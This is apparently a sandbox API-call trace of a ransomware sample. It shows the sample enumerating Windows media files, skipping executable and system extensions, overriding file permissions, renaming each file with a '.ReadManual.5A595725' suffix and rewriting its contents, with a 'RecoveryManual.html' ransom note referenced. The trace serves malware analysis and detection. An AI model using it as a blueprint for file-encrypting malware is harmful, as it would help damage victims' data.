lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv.ReadManual.5A595725" [0251.755] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv.ReadManual.5A595725") returned 113 [0251.755] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37242348190) returned 1 [0251.755] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground_pal.wmv")) returned 0x20 [0251.755] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground_pal.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.755] GetLastError () returned 0x5 [0251.755] GetNamedSecurityInfoW () returned 0x0 [0251.755] SetNamedSecurityInfoW () returned 0x0 [0251.755] SetNamedSecurityInfoW () returned 0x0 [0251.756] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground_pal.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0251.756] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=141214) returned 1 [0251.756] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2279e, lpName=0x0) returned 0x1a0 [0251.756] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xf2) returned 1 [0251.757] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.757] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0251.758] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0251.758] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2279e) returned 0x1de0000 [0251.873] UnmapViewOfFile (lpBaseAddress=0x1de0000) returned 1 [0251.874] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37254295373) returned 1 [0251.874] CloseHandle (hObject=0x1a0) returned 1 [0251.874] SetSecurityInfo () returned 0x5 [0251.874] SetSecurityInfo () returned 0x5 [0251.874] LocalFree (hMem=0x674d38) returned 0x0 [0251.874] CloseHandle (hObject=0x184) returned 1 [0251.876] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ec2199, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ec2199, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49edb2bd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2666c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BabyBoyNotesBackground.wmv", cAlternateFileName="")) returned 1 [0251.876] lstrcpyW (in: lpString1=0x6ab90c, lpString2="BabyBoyNotesBackground.wmv" | out: lpString1="BabyBoyNotesBackground.wmv") returned="BabyBoyNotesBackground.wmv" [0251.876] lstrcmpiW (lpString1="BabyBoyNotesBackground.wmv", lpString2="RecoveryManual.html") returned -1 [0251.876] StrStrIW (lpFirst="BabyBoyNotesBackground.wmv", lpSrch=".ReadManual.5A595725") returned 0x0 [0251.876] StrCmpIW (psz1="wmv", psz2="exe") returned 1 [0251.876] StrCmpIW (psz1="wmv", psz2="dll") returned 1 [0251.876] StrCmpIW (psz1="wmv", psz2="sys") returned 1 [0251.876] StrCmpIW (psz1="wmv", psz2="msi") returned 1 [0251.876] StrCmpIW (psz1="wmv", psz2="mui") returned 1 [0251.876] StrCmpIW (psz1="wmv", psz2="inf") returned 1 [0251.876] StrCmpIW (psz1="wmv", psz2="cat") returned 1 [0251.876] StrCmpIW (psz1="wmv", psz2="bat") returned 1 [0251.876] StrCmpIW (psz1="wmv", psz2="cmd") returned 1 [0251.876] StrCmpIW (psz1="wmv", psz2="ps1") returned 1 [0251.876] StrCmpIW (psz1="wmv", psz2="vbs") returned 1 [0251.876] StrCmpIW (psz1="wmv", psz2="ttf") returned 1 [0251.876] StrCmpIW (psz1="wmv", psz2="fon") returned 1 [0251.876] StrCmpIW (psz1="wmv", psz2="lnk") returned 1 [0251.876] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv" [0251.876] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv.ReadManual.5A595725" [0251.876] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv.ReadManual.5A595725") returned 102 [0251.876] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37254509966) returned 1 [0251.876] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground.wmv")) returned 0x20 [0251.877] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.877] GetLastError () returned 0x5 [0251.877] GetNamedSecurityInfoW () returned 0x0 [0251.877] SetNamedSecurityInfoW () returned 0x0 [0251.877] SetNamedSecurityInfoW () returned 0x0 [0251.878] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0251.878] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=157292) returned 1 [0251.878] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2666c, lpName=0x0) returned 0x1a0 [0251.878] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xdc) returned 1 [0251.878] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.879] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0251.880] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0251.880] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2666c) returned 0x1de0000 [0251.883] UnmapViewOfFile (lpBaseAddress=0x1de0000) returned 1 [0251.888] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37255692588) returned 1 [0251.888] CloseHandle (hObject=0x1a0) returned 1 [0251.888] SetSecurityInfo () returned 0x5 [0251.888] SetSecurityInfo () returned 0x5 [0251.888] LocalFree (hMem=0x674d38) returned 0x0 [0251.888] CloseHandle (hObject=0x184) returned 1 [0251.889] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f345b0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70f345b0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49edb2bd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2666c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BabyBoyNotesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0251.889] lstrcpyW (in: lpString1=0x6ab90c, lpString2="BabyBoyNotesBackground_PAL.wmv" | out: lpString1="BabyBoyNotesBackground_PAL.wmv") returned="BabyBoyNotesBackground_PAL.wmv" [0251.889] lstrcmpiW (lpString1="BabyBoyNotesBackground_PAL.wmv", lpString2="RecoveryManual.html") returned -1 [0251.889] StrStrIW (lpFirst="BabyBoyNotesBackground_PAL.wmv", lpSrch=".ReadManual.5A595725") returned 0x0 [0251.889] StrCmpIW (psz1="wmv", psz2="exe") returned 1 [0251.889] StrCmpIW (psz1="wmv", psz2="dll") returned 1 [0251.889] StrCmpIW (psz1="wmv", psz2="sys") returned 1 [0251.889] StrCmpIW (psz1="wmv", psz2="msi") returned 1 [0251.889] StrCmpIW (psz1="wmv", psz2="mui") returned 1 [0251.889] StrCmpIW (psz1="wmv", psz2="inf") returned 1 [0251.889] StrCmpIW (psz1="wmv", psz2="cat") returned 1 [0251.889] StrCmpIW (psz1="wmv", psz2="bat") returned 1 [0251.889] StrCmpIW (psz1="wmv", psz2="cmd") returned 1 [0251.889] StrCmpIW (psz1="wmv", psz2="ps1") returned 1 [0251.889] StrCmpIW (psz1="wmv", psz2="vbs") returned 1 [0251.889] StrCmpIW (psz1="wmv", psz2="ttf") returned 1 [0251.889] StrCmpIW (psz1="wmv", psz2="fon") returned 1 [0251.889] StrCmpIW (psz1="wmv", psz2="lnk") returned 1 [0251.889] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv" [0251.889] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv.ReadManual.5A595725" [0251.889] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv.ReadManual.5A595725") returned 106 [0251.889] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37255793720) returned 1 [0251.889] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground_pal.wmv")) returned 0x20 [0251.889] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground_pal.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.890] GetLastError () returned 0x5 [0251.890] GetNamedSecurityInfoW () returned 0x0 [0251.890] SetNamedSecurityInfoW () returned 0x0 [0251.890] SetNamedSecurityInfoW () returned 0x0 [0251.891] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground_pal.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0251.891] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=157292) returned 1 [0251.891] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2666c, lpName=0x0) returned 0x1a0 [0251.891] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xe4) returned 1 [0251.891] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.891] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0251.931] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0251.931] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2666c) returned 0x1de0000 [0251.952] UnmapViewOfFile (lpBaseAddress=0x1de0000) returned 1 [0251.953] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37262164824) returned 1 [0251.953] CloseHandle (hObject=0x1a0) returned 1 [0251.953] SetSecurityInfo () returned 0x5 [0251.953] SetSecurityInfo () returned 0x5 [0251.953] LocalFree (hMem=0x674d38) returned 0x0 [0251.953] CloseHandle (hObject=0x184) returned 1 [0251.953] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f5a70d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70f5a70d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f0141b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2472c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BabyBoyScenesBackground.wmv", cAlternateFileName="")) returned 1 [0251.953] lstrcpyW (in: lpString1=0x6ab90c, lpString2="BabyBoyScenesBackground.wmv" | out: lpString1="BabyBoyScenesBackground.wmv") returned="BabyBoyScenesBackground.wmv" [0251.953] lstrcmpiW (lpString1="BabyBoyScenesBackground.wmv", lpString2="RecoveryManual.html") returned -1 [0251.953] StrStrIW (lpFirst="BabyBoyScenesBackground.wmv", lpSrch=".ReadManual.5A595725") returned 0x0 [0251.954] StrCmpIW (psz1="wmv", psz2="exe") returned 1 [0251.954] StrCmpIW (psz1="wmv", psz2="dll") returned 1 [0251.954] StrCmpIW (psz1="wmv", psz2="sys") returned 1 [0251.954] StrCmpIW (psz1="wmv", psz2="msi") returned 1 [0251.954] StrCmpIW (psz1="wmv", psz2="mui") returned 1 [0251.954] StrCmpIW (psz1="wmv", psz2="inf") returned 1 [0251.954] StrCmpIW (psz1="wmv", psz2="cat") returned 1 [0251.954] StrCmpIW (psz1="wmv", psz2="bat") returned 1 [0251.954] StrCmpIW (psz1="wmv", psz2="cmd") returned 1 [0251.954] StrCmpIW (psz1="wmv", psz2="ps1") returned 1 [0251.954] StrCmpIW (psz1="wmv", psz2="vbs") returned 1 [0251.954] StrCmpIW (psz1="wmv", psz2="ttf") returned 1 [0251.954] StrCmpIW (psz1="wmv", psz2="fon") returned 1 [0251.954] StrCmpIW (psz1="wmv", psz2="lnk") returned 1 [0251.954] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground.wmv" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground.wmv") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground.wmv" [0251.954] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground.wmv", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground.wmv.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground.wmv.ReadManual.5A595725" [0251.954] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground.wmv.ReadManual.5A595725") returned 103 [0251.954] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37262278993) returned 1 [0251.954] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground.wmv")) returned 0x20 [0251.955] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.955] GetLastError () returned 0x5 [0251.955] GetNamedSecurityInfoW () returned 0x0 [0251.955] SetNamedSecurityInfoW () returned 0x0 [0251.955] SetNamedSecurityInfoW () returned 0x0 [0251.956] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0251.956] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=149292) returned 1 [0251.956] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2472c, lpName=0x0) returned 0x1a0 [0251.956] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xde) returned 1 [0251.957] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.957] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0251.959] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0251.959] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2472c) returned 0x1de0000 [0251.963] UnmapViewOfFile (lpBaseAddress=0x1de0000) returned 1 [0251.964] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37263229835) returned 1 [0251.964] CloseHandle (hObject=0x1a0) returned 1 [0251.964] SetSecurityInfo () returned 0x5 [0251.964] SetSecurityInfo () returned 0x5 [0251.964] LocalFree (hMem=0x674d38) returned 0x0 [0251.964] CloseHandle (hObject=0x184) returned 1 [0251.964] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f8086a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70f8086a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f0141b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1e96c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BabyBoyScenesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0251.964] lstrcpyW (in: lpString1=0x6ab90c, lpString2="BabyBoyScenesBackground_PAL.wmv" | out: lpString1="BabyBoyScenesBackground_PAL.wmv") returned="BabyBoyScenesBackground_PAL.wmv" [0251.964] lstrcmpiW (lpString1="BabyBoyScenesBackground_PAL.wmv", lpString2="RecoveryManual.html") returned -1 [0251.964] StrStrIW (lpFirst="BabyBoyScenesBackground_PAL.wmv", lpSrch=".ReadManual.5A595725") returned 0x0 [0251.964] StrCmpIW (psz1="wmv", psz2="exe") returned 1 [0251.964] StrCmpIW (psz1="wmv", psz2="dll") returned 1 [0251.964] StrCmpIW (psz1="wmv", psz2="sys") returned 1 [0251.964] StrCmpIW (psz1="wmv", psz2="msi") returned 1 [0251.964] StrCmpIW (psz1="wmv", psz2="mui") returned 1 [0251.964] StrCmpIW (psz1="wmv", psz2="inf") returned 1 [0251.964] StrCmpIW (psz1="wmv", psz2="cat") returned 1 [0251.964] StrCmpIW (psz1="wmv", psz2="bat") returned 1 [0251.964] StrCmpIW (psz1="wmv", psz2="cmd") returned 1 [0251.964] StrCmpIW (psz1="wmv", psz2="ps1") returned 1 [0251.964] StrCmpIW (psz1="wmv", psz2="vbs") returned 1 [0251.964] StrCmpIW (psz1="wmv", psz2="ttf") returned 1 [0251.964] StrCmpIW (psz1="wmv", psz2="fon") returned 1 [0251.964] StrCmpIW (psz1="wmv", psz2="lnk") returned 1 [0251.965] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv" [0251.965] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv.ReadManual.5A595725" [0251.965] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv.ReadManual.5A595725") returned 107 [0251.965] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37263341582) returned 1 [0251.965] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground_pal.wmv")) returned 0x20 [0251.965] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground_pal.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.965] GetLastError () returned 0x5 [0251.965] GetNamedSecurityInfoW () returned 0x0 [0251.965] SetNamedSecurityInfoW () returned 0x0 [0251.966] SetNamedSecurityInfoW () returned 0x0 [0251.966] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground_pal.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0251.966] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=125292) returned 1 [0251.967] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1e96c, lpName=0x0) returned 0x1a0 [0251.967] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xe6) returned 1 